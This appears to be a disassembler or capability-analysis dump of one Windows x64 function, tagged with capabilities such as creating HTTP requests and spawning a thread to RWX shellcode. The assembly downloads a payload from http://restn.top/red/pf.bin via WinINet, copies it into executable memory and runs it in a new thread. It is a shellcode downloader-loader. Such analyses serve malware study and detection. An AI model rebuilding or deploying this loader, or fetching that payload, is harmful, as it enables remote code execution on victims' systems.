Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create http request
Create thread
Read data from internet
Receive data
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rsi
push r14
mov eax, 0x1050
call fcn.1400021d0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1040], rax
xor r14d, r14d
lea rcx, str.WinInetExample
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
lea edx, [r14 + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbp, rax
test rax, rax
jne 0x140001070
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.InternetOpenA_failed
call fcn.140001240
mov rcx, rax
lea rdx, [0x140001410]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400010c7
mov qword [rsp + 0x28], r14
lea rdx, str.http:__restn.top_red_pf.bin
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, rax
test rax, rax
jne 0x1400010ef
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.InternetOpenUrlA_failed
call fcn.140001240
mov rcx, rax
lea rdx, [0x140001410]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Failed_to_download_the_file
call fcn.140001240
mov rcx, rax
lea rdx, [0x140001410]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000121a
mov qword [rsp + 0x1070], rbx
lea r9, [rsp + 0x30]
mov qword [rsp + 0x1078], rdi
lea rdx, [rsp + 0x40]
mov r8d, 0x1000
mov rcx, rsi
mov rdi, r14
mov ebx, r14d
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001188
mov qword [rsp + 0x1080], r15
mov r15, 0xffffffffffffffff
mov edx, dword [rsp + 0x30]
test edx, edx
je 0x140001180
add edx, ebx
mov rcx, rdi
cmovb rdx, r15
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
mov r8d, dword [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov ecx, ebx
mov rdi, rax
add rcx, rax
call sub.VCRUNTIME140.dll_memcpy
add ebx, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001131
mov r15, qword [rsp + 0x1080]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r9d, 0x40
mov edx, ebx
mov r8d, 0x3000
mov esi, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x140001201
mov r8d, esi
mov rdx, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
xor r9d, r9d
mov qword [rsp + 0x28], r14
mov r8, rbx
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x140001201
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rdi, qword [rsp + 0x1078]
mov rbx, qword [rsp + 0x1070]
xor eax, eax
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1400014d0
add rsp, 0x1050
pop r14
pop rsi
pop rbp
ret